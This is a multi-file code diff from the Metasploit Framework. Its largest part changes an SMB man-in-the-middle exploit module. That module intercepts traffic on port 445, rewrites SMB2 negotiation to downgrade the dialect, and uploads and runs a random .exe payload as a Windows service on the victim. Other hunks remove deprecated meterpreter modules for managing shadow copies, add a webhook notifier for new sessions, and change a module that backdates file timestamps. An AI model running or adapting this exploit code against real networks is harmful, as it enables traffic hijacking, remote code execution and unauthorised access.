@sessions[packet.ip_header.ip_daddr][:dstmac] = dstmac
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
packet.eth_header.eth_dst = Rex::Socket.eth_aton(@sessions[packet.ip_header.ip_daddr][:dstmac])
packet.to_w(@interface)
end
unless @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
packet.to_w(@interface)
end
end
end
@ -223,26 +207,10 @@ class MetasploitModule < Msf::Exploit::Remote
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] != 0xfe534d42")
c.stream.each_data do |data|
packet = PacketFu::Packet.parse(data)
@mutex.synchronize do
if @sessions[packet.ip_header.ip_daddr]
if @sessions[packet.ip_header.ip_daddr][:active]
@sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum]
@sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum]
packet.tcp_header.tcp_ack = @sessions[packet.ip_header.ip_daddr][:acknum]
packet.tcp_header.tcp_seq = @sessions[packet.ip_header.ip_daddr][:seqnum]
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
packet.eth_header.eth_dst = Rex::Socket.eth_aton(@sessions[packet.ip_header.ip_daddr][:dstmac])
packet.to_w(@interface)
elsif @sessions[packet.ip_header.ip_daddr][:tcp_src] != packet.tcp_header.tcp_src
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
packet.to_w(@interface)
end
else
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
packet.to_w(@interface)
end
unless @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
packet.to_w(@interface)
end
end
end
@ -256,18 +224,13 @@ class MetasploitModule < Msf::Exploit::Remote
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-rst) != 0")
c.stream.each_data do |data|
packet = PacketFu::Packet.parse(data)
@mutex.synchronize do
if @sessions[packet.ip_header.ip_daddr]
if @sessions[packet.ip_header.ip_daddr][:tcp_src] != packet.tcp_header.tcp_src
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
packet.to_w(@interface)
end
else
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
packet.to_w(@interface)
end
unless @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
#puts "Forwarding RST..."
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
packet.to_w(@interface)
else
#puts "Not Forwarding RST..."
end
end
end
@ -359,69 +322,128 @@ class MetasploitModule < Msf::Exploit::Remote
nss = packet.payload[0..3]
smb2 = packet.payload[4..-1]
# Only Parse Packets from known sessions
@mutex.synchronize do
if @sessions[packet.ip_header.ip_daddr] && @sessions[packet.ip_header.ip_daddr][:active] && (smb2[0..4] != "\xFFSMB")
case smb2[11..12]
when "\x00\x00" # Negotiate Protocol Request
smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2)
# Dialect Count Set To 1
dialect = smb_packet.dialects.first
@sessions[packet.ip_header.ip_daddr][:dialect] = dialect
unless dialect >= 0x311
smb_packet.dialect_count = 1
smb_packet.dialects = [smb_packet.dialects.first]
smb_packet.negotiate_context_list = []
smb_packet.client_start_time = 0
# Re-Calculate Length: (Optional...)
# nss = [smb_packet.to_binary_s.size].pack("N")
packet.payload = "#{nss}#{smb_packet.to_binary_s}"
end
when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH
smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2)
if (smb_packet.smb2_header.session_id != 0 ) && (@sessions[packet.ip_header.ip_daddr][:dialect] < 0x300)
# Disable Session
@sessions[packet.ip_header.ip_daddr][:active] = false
@sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum]
@sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum]
# Start Main Thread
@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do
main_thread(packet: packet, dialect: @sessions[packet.ip_header.ip_daddr][:dialect], dstmac: @sessions[packet.ip_header.ip_daddr][:dstmac])
if (smb2[0..4] != "\xFFSMB") && !@sessions.include?(packet.ip_header.ip_daddr) && !@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
case smb2[11..12]
when "\x00\x00" # Negotiate Protocol Request
smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2)
# Dialect Count Set To 1
dialect = smb_packet.dialects.first
#puts "Got dialect: #{dialect}"
# TODO: We could negotiate different dialects between the server and client, but it would require a more interactive approach.
unless smb_packet.dialects.min >= 0x300
#puts "Minimum dialect was less then 0x300."
begin
if @negotiated_dialect_map[packet.tcp_header.tcp_src]
dialect = @negotiated_dialect_map[packet.tcp_header.tcp_src]
else
if @confirm_server_dialect
# Check if the server supports any SMB2 dialects
Timeout::timeout(2.75) do
rport = packet.tcp_header.tcp_src - (rand(42) + 42)
@drop_packet_ip_port_mutex.synchronize do
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = true
end
dispatcher = Msf::Exploit::SMB::ShadowMitmDispatcher.new(
interface: @interface,
mac: @mac,
eth_src: Rex::Socket.eth_aton(@mac),
eth_dst: Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)),
ip_src: Rex::Socket.addr_iton(packet.ip_header.ip_src),
ip_dst: Rex::Socket.addr_iton(packet.ip_header.ip_dst),
tcp_src: rport,
tcp_dst: packet.tcp_header.tcp_dst,
tcp_seq: rand(0xdddddddd) + 0xdddddd,
tcp_ack: 0,
tcp_win: packet.tcp_header.tcp_win
)
dispatcher.send_packet(
'',
nbss_header: false,
tcp_flags: { syn: 1 },
tcp_opts: PacketFu::TcpOptions.new.encode("MSS:#{Msf::Exploit::SMB::ShadowMitmDispatcher::TCP_MSS}").to_s
)
dispatcher.recv_packet
dispatcher.send_packet(
'',
nbss_header: false,
tcp_flags: { ack: 1 }
)
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: true, smb3: false, username: '', password: '')
client.negotiate
dialect = client.dialect.to_i(16)
#pp dialect
@drop_packet_ip_port_mutex.synchronize do
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = false
end
@negotiated_dialect_mutex.synchronize do
@negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect
end
end
else
# We just assume the server supports the client's minimum dialect.
dialect = smb_packet.dialects.min
@negotiated_dialect_mutex.synchronize do
@negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect
end
end
end
end
when "\x00\x03" # Tree Connect Request
smb_packet = RubySMB::SMB2::Packet::TreeConnectRequest.read(smb2)
if smb_packet.path.include?("\\IPC$".encode("UTF-16LE")) && (@sessions[packet.ip_header.ip_daddr][:dialect] >= 0x300)
# Disable Session
@sessions[packet.ip_header.ip_daddr][:active] = false
@sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum]
@sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum]
# Start Main Thread
@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do
main_thread(packet: packet, dialect: @sessions[packet.ip_header.ip_daddr][:dialect], dstmac: @sessions[packet.ip_header.ip_daddr][:dstmac])
unless dialect >= 0x300
original_size = smb_packet.to_binary_s.size
smb_packet.dialects = [dialect]
smb_packet.negotiate_context_list = []
smb_packet.client_start_time = 0
# Re-Calculate Length: (Optional...)
#nss = [smb_packet.to_binary_s.size].pack("N")
# Add more dialects while keeping the dialect count at one to pad out the message.
((original_size - smb_packet.to_binary_s.size)/2).times {|i| smb_packet.dialects << dialect }
smb_packet.dialect_count = 1
packet.payload = "#{nss}#{smb_packet.to_binary_s}"
packet.recalc
end
rescue Timeout::Error, Errno::ECONNREFUSED, RubySMB::Error::CommunicationError, RubySMB::Error::NegotiationFailure => e
# We were unable to connect to the server or we were unable to negotiate any SMB2 dialects
print_status("Confirm Server Dialect Error: #{e}")
end
end
when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH
smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2)
if (smb_packet.smb2_header.session_id != 0 ) && (@negotiated_dialect_map[packet.tcp_header.tcp_src] && @negotiated_dialect_map[packet.tcp_header.tcp_src] < 0x300)
# Disable Session
#@sessions[packet.ip_header.ip_daddr][:active] = false
@drop_packet_ip_port_mutex.synchronize do
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true
end
#@sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum]
#@sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum]
# Start Main Thread
@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do
main_thread(packet: packet, dialect: @negotiated_dialect_map[packet.tcp_header.tcp_src], dstmac: getarp(packet.ip_header.ip_daddr))
end
end
when "\x00\x03" # Tree Connect Request
smb_packet = RubySMB::SMB2::Packet::TreeConnectRequest.read(smb2)
if smb_packet.path.include?("\\IPC$".encode("UTF-16LE")) && ((@negotiated_dialect_map[packet.tcp_header.tcp_src] == nil) || @negotiated_dialect_map[packet.tcp_header.tcp_src] >= 0x300)
#puts "Disabling Session."
# Disable Session
#@sessions[packet.ip_header.ip_daddr][:active] = false
@drop_packet_ip_port_mutex.synchronize do
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true
end
#@sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum]
#@sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum]
# Start Main Thread
@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do
main_thread(packet: packet, dialect: 0x300, dstmac: getarp(packet.ip_header.ip_daddr))
end
end
end
if @sessions[packet.ip_header.ip_daddr]
if @sessions[packet.ip_header.ip_daddr][:active]
@sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum]
@sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum]
packet.tcp_header.tcp_ack = @sessions[packet.ip_header.ip_daddr][:acknum]
packet.tcp_header.tcp_seq = @sessions[packet.ip_header.ip_daddr][:seqnum]
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
packet.eth_header.eth_dst = Rex::Socket.eth_aton(@sessions[packet.ip_header.ip_daddr][:dstmac])
packet.recalc
packet.to_w(@interface)
elsif @sessions[packet.ip_header.ip_daddr][:tcp_src] != packet.tcp_header.tcp_src
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
packet.to_w(@interface)
end
else
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
packet.to_w(@interface)
end
end
unless @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
#puts "Sending packet..."
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
#packet.recalc
packet.to_w(@interface)
end
end
end
@ -467,7 +489,6 @@ class MetasploitModule < Msf::Exploit::Remote
if dialect >= 0x300
tree = RubySMB::SMB2::Tree.new(client: client, share: "\\\\#{address}\\IPC$", response: smb_packet, encrypt: false)
print_status('Regenerating the payload...')
code = regenerate_payload
print_status('Uploading payload...')
filename = rand_text_alpha(8) + '.exe'
@ -494,7 +515,7 @@ class MetasploitModule < Msf::Exploit::Remote
log: false
)
end
sleep 5
sleep 3
print_status("Created \\#{filename}...")
else
print_status('Connecting to the defined share...')
@ -532,6 +553,7 @@ class MetasploitModule < Msf::Exploit::Remote
service: "%SYSTEMROOT%\\#{filename}"
)
@sessions_mutex.synchronize { @sessions << address }
sleep 0.5
if dialect >= 0x300
@ -555,8 +577,21 @@ class MetasploitModule < Msf::Exploit::Remote
file = tree.open_file(filename: filename, delete: true)
file.delete
end
tree.disconnect!
=begin
# Prevent STATUS_USER_SESSION_DELETED
#sleep 42 <- We must use traffic to prevent the server from closing the connection
20.times do
sleep 2
begin
tree.open_file(filename: '.', read: false)
rescue RubySMB::Error::UnexpectedStatusCode
# Expected STATUS_ACCESS_DENIED
end
end
=end
tree.disconnect!
client.disconnect!
return true # Done.

View File

@ -28,7 +28,7 @@ class MetasploitModule < Msf::Post
'joev'
],
'Platform' => [ 'osx' ],
'SessionTypes' => [ 'shell' ]
'SessionTypes' => %w[shell meterpreter]
))
register_options([
OptRegexp.new('MATCHUSER', [false,

View File

@ -1,59 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ShadowCopy
include Msf::Module::Deprecated
deprecated(Date.new(2021, 4, 11), reason="Use post/windows/manage/vss and the VSS_CREATE action")
def initialize(info={})
super(update_info(info,
'Name' => "Windows Manage Create Shadow Copy",
'Description' => %q{
This module will attempt to create a new volume shadow copy.
This is based on the VSSOwn Script originally posted by
Tim Tomes and Mark Baggett.
Works on win2k3 and later.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['theLightCosine'],
'References' => [
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]
]
))
register_options(
[
OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\'])
])
end
def run
unless is_admin?
print_error("This module requires admin privs to run")
return
end
if is_uac_enabled?
print_error("This module requires UAC to be bypassed first")
return
end
unless start_vss
return
end
id = create_shadowcopy(datastore['VOLUME'])
if id
print_good "Shadow Copy #{id} created!"
end
end
end

View File

@ -1,70 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ShadowCopy
include Msf::Module::Deprecated
deprecated(Date.new(2021, 4, 11), reason="Use post/windows/manage/vss and the VSS_LIST_COPIES action")
def initialize(info={})
super(update_info(info,
'Name' => "Windows Manage List Shadow Copies",
'Description' => %q{
This module will attempt to list any Volume Shadow Copies
on the system. This is based on the VSSOwn Script
originally posted by Tim Tomes and Mark Baggett.
Works on win2k3 and later.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['theLightCosine'],
'References' => [
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]
]
))
end
def run
unless is_admin?
print_error("This module requires admin privs to run")
return
end
if is_uac_enabled?
print_error("This module requires UAC to be bypassed first")
return
end
unless start_vss
return
end
list = ""
shadow_copies = vss_list
unless shadow_copies.empty?
shadow_copies.each do |copy|
tbl = Rex::Text::Table.new(
'Header' => 'Shadow Copy Data',
'Indent' => 1,
'Columns' => ['Field', 'Value']
)
copy.each_pair{|k,v| tbl << [k,v]}
list << " #{tbl.to_s} \n\n"
print_good tbl.to_s
end
store_loot(
'host.shadowcopies',
'text/plain',
session,
list,
'shadowcopies.txt',
'Shadow Copy Info'
)
end
end
end

View File

@ -1,64 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ShadowCopy
include Msf::Module::Deprecated
deprecated(Date.new(2021, 4, 11), reason = "Use post/windows/manage/vss and the VSS_MOUNT action")
def initialize(info = {})
super(
update_info(
info,
'Name' => "Windows Manage Mount Shadow Copy",
'Description' => %q{
This module will attempt to mount a Volume Shadow Copy
on the system. This is based on the VSSOwn Script
originally posted by Tim Tomes and Mark Baggett.
Works on win2k3 and later.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['theLightCosine'],
'References' => [
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]
],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_process_execute
]
}
}
)
)
register_options(
[
OptString.new('DEVICE', [ true, 'DeviceObject of Shadowcopy to mount.' ]),
OptString.new('PATH', [ true, 'Path to mount it to.' ])
]
)
end
def run
unless is_admin?
print_error("This module requires admin privs to run")
return
end
if is_uac_enabled?
print_error("This module requires UAC to be bypassed first")
return
end
unless start_vss
return
end
r = session.sys.process.execute("cmd.exe /C mklink /D #{datastore['DEVICE']} #{datastore['PATH']}", nil, { 'Hidden' => true })
end
end

View File

@ -1,61 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ShadowCopy
include Msf::Module::Deprecated
deprecated(Date.new(2021, 4, 11), reason="Use post/windows/manage/vss and the VSS_SET_MAX_STORAGE_SIZE action")
def initialize(info={})
super(update_info(info,
'Name' => "Windows Manage Set Shadow Copy Storage Space",
'Description' => %q{
This module will attempt to change the amount of space
for volume shadow copy storage. This is based on the
VSSOwn Script originally posted by Tim Tomes and
Mark Baggett.
Works on win2k3 and later.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['theLightCosine'],
'References' => [
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]
]
))
register_options(
[
OptInt.new('SIZE', [ true, 'Size in bytes to set for Max Storage'])
])
end
def run
unless is_admin?
print_error("This module requires admin privs to run")
return
end
if is_uac_enabled?
print_error("This module requires UAC to be bypassed first")
return
end
unless start_vss
return
end
if vss_set_storage(datastore['SIZE'])
print_good("Size updated successfully")
else
print_error("There was a problem updating the storage size")
end
end
end

View File

@ -1,70 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ShadowCopy
include Msf::Module::Deprecated
deprecated(Date.new(2021, 4, 11), reason="Use post/windows/manage/vss and the VSS_GET_INFO action")
def initialize(info={})
super(update_info(info,
'Name' => "Windows Manage Get Shadow Copy Storage Info",
'Description' => %q{
This module will attempt to get volume shadow copy storage info.
This is based on the VSSOwn Script originally posted by
Tim Tomes and Mark Baggett.
Works on win2k3 and later.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['theLightCosine'],
'References' => [
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]
]
))
end
def run
unless is_admin?
print_error("This module requires admin privs to run")
return
end
if is_uac_enabled?
print_error("This module requires UAC to be bypassed first")
return
end
unless start_vss
return
end
storage_data = vss_get_storage
if storage_data
tbl = Rex::Text::Table.new(
'Header' => 'Shadow Copy Storage Data',
'Indent' => 1,
'Columns' => ['Field', 'Value']
)
storage_data.each_pair{|k,v| tbl << [k,v]}
print_good(tbl.to_s)
store_loot(
'host.shadowstorage',
'text/plain',
session,
tbl.to_s,
'shadowstorage.txt',
'Shadow Copy Storage Info'
)
end
end
end

View File

@ -25,6 +25,7 @@ module Msf
attr_reader :dingtalk_webhook
attr_reader :gotify_address
attr_reader :gotify_sslcert_path
attr_reader :serverjang_webhook
def name
'SessionNotifier'
@ -44,6 +45,7 @@ module Msf
'set_session_dingtalk_webhook' => 'Set the DingTalk webhook for the session notifier (keyword: session).',
'set_session_gotify_address' => 'Set the Gotify address for the session notifier',
'set_session_gotify_sslcert_path' => 'Set the path to load your Gotify SSL cert (if you want to use HTTPS)',
'set_session_serverjang_webhook' => 'Set the ServerJiang webhook for the session notifier (keyword: session).',
'save_session_notifier_settings' => 'Save all the session notifier settings to framework',
'start_session_notifier' => 'Start notifying sessions',
'stop_session_notifier' => 'Stop notifying sessions',
@ -150,6 +152,17 @@ module Msf
end
end
def cmd_set_session_serverjang_webhook(*args)
webhook_url = args[0]
if webhook_url.blank?
@serverjang_webhook = nil
elsif !(webhook_url =~ URI::DEFAULT_PARSER.make_regexp).nil?
@serverjang_webhook = webhook_url
else
print_error('Invalid webhook_url')
end
end
def cmd_save_session_notifier_settings(*_args)
save_settings_to_config
print_status('Session Notifier settings saved in config file.')
@ -181,6 +194,9 @@ module Msf
if !gotify_address.nil?
print_status('Gotify notification started.')
end
if !serverjang_webhook.nil?
print_status('ServerJang notification started.')
end
rescue Msf::Plugin::SessionNotifier::Exception, Rex::Proto::Sms::Exception => e
print_error(e.message)
end
@ -220,6 +236,7 @@ module Msf
ini[name]['dingtalk_webhook'] = dingtalk_webhook.to_s unless dingtalk_webhook.blank?
ini[name]['gotify_address'] = gotify_address.to_s unless gotify_address.blank?
ini[name]['gotify_sslcert_path'] = gotify_sslcert_path.to_s unless gotify_sslcert_path.blank?
ini[name]['serverjang_webhook'] = serverjang_webhook.to_s unless serverjang_webhook.blank?
ini.to_file(config_file)
end
@ -240,6 +257,7 @@ module Msf
@dingtalk_webhook = group['dingtalk_webhook'] if group['dingtalk_webhook']
@gotify_address = group['gotify_address'] if group['gotify_address']
@gotify_sslcert_path = group['gotify_sslcert_path'] if group['gotify_sslcert_path']
@serverjang_webhook = group['serverjang_webhook'] if group['serverjang_webhook']
print_status('Session Notifier settings loaded from config file.')
end
end
@ -315,6 +333,29 @@ module Msf
end
end
def send_text_to_serverjang(session)
# https://sct.ftqq.com/sendkey
uri_parser = URI.parse(serverjang_webhook)
params = {}
params["title"] = "You have new #{session.type} session"
params["desp"] = "OS:#{session.platform}, tunnel:#{session.tunnel_to_s}, Arch:#{session.arch}"
http = Net::HTTP.new(uri_parser.host, uri_parser.port)
http.use_ssl = true
res = Net::HTTP::post_form(uri_parser,params)
if res.nil? || res.body.blank?
print_error("No response received from the ServerJang server!")
return nil
end
begin
body = JSON.parse(res.body)
print_status((body["code"] == 20001) ? 'Failed to send notification.' : 'Session notified to ServerJang.')
rescue JSON::ParserError
print_error("Couldn't parse the JSON returned from the ServerJang server!")
end
end
def notify_session(session, subject, msg)
if in_range?(session) && validate_sms_settings?
@sms_client.send_text_to_phones([sms_number], subject, msg)
@ -326,6 +367,9 @@ module Msf
if in_range?(session) && !gotify_address.nil?
send_text_to_gotify(session)
end
if in_range?(session) && !serverjang_webhook.nil?
send_text_to_serverjang(session)
end
end
def in_range?(session)

View File

@ -0,0 +1,44 @@
# Outputs the currently supported Meterpreter commands as JSON for the currently opened Meterpreter sessions
# Usage:
# msf> resource scripts/resource/meterpreter_compatibility.rc
<ruby>
require 'json'
# Attempt to load all known extensions
framework.sessions.values.map do |session|
next unless session.type == 'meterpreter'
Rex::Post::Meterpreter::ExtensionMapper.get_extension_names.each do |extension_name|
session.core.use(extension_name)
rescue ::RuntimeError
puts "failed loading #{extension_name}"
# noop
end
end
# Create an array of supported session information
session_data = framework.sessions.values.map do |session|
next unless session.type == 'meterpreter'
supported_commands = session.commands.map do |command_id|
command_name = Rex::Post::Meterpreter::CommandMapper.get_command_name(command_id)
{
id: command_id,
name: command_name
}
end
{
session_type: session.session_type,
commands: supported_commands
}
end.compact
result = {
sessions: session_data
}
puts JSON.fast_generate(result)
</ruby>

View File

@ -154,11 +154,15 @@ class MetasploitModule < Msf::Post
res
end
genesis_date = "3 January 2009 18:15:13 +0000"
genesis = DateTime.parse(genesis_date).to_i
genesis_str = "3 January 2009 18:15:13 +0000"
genesis_date = DateTime.parse(genesis_str)
genesis = genesis_date.to_i
if not ['windows', 'win'].include? session.platform
cmd_exec("touch -d '#{genesis_date}' #{@file_name}")
if session.platform == 'osx'
osx_genesis_str = genesis_date.strftime("%Y%m%d%H%M.%S")
cmd_exec("touch -t '#{osx_genesis_str}' #{@file_name}")
elsif !['windows', 'win'].include?(session.platform)
cmd_exec("touch -d '#{genesis_str}' #{@file_name}")
elsif session.priv.present?
client.priv.fs.set_file_mace(@file_name, genesis)
else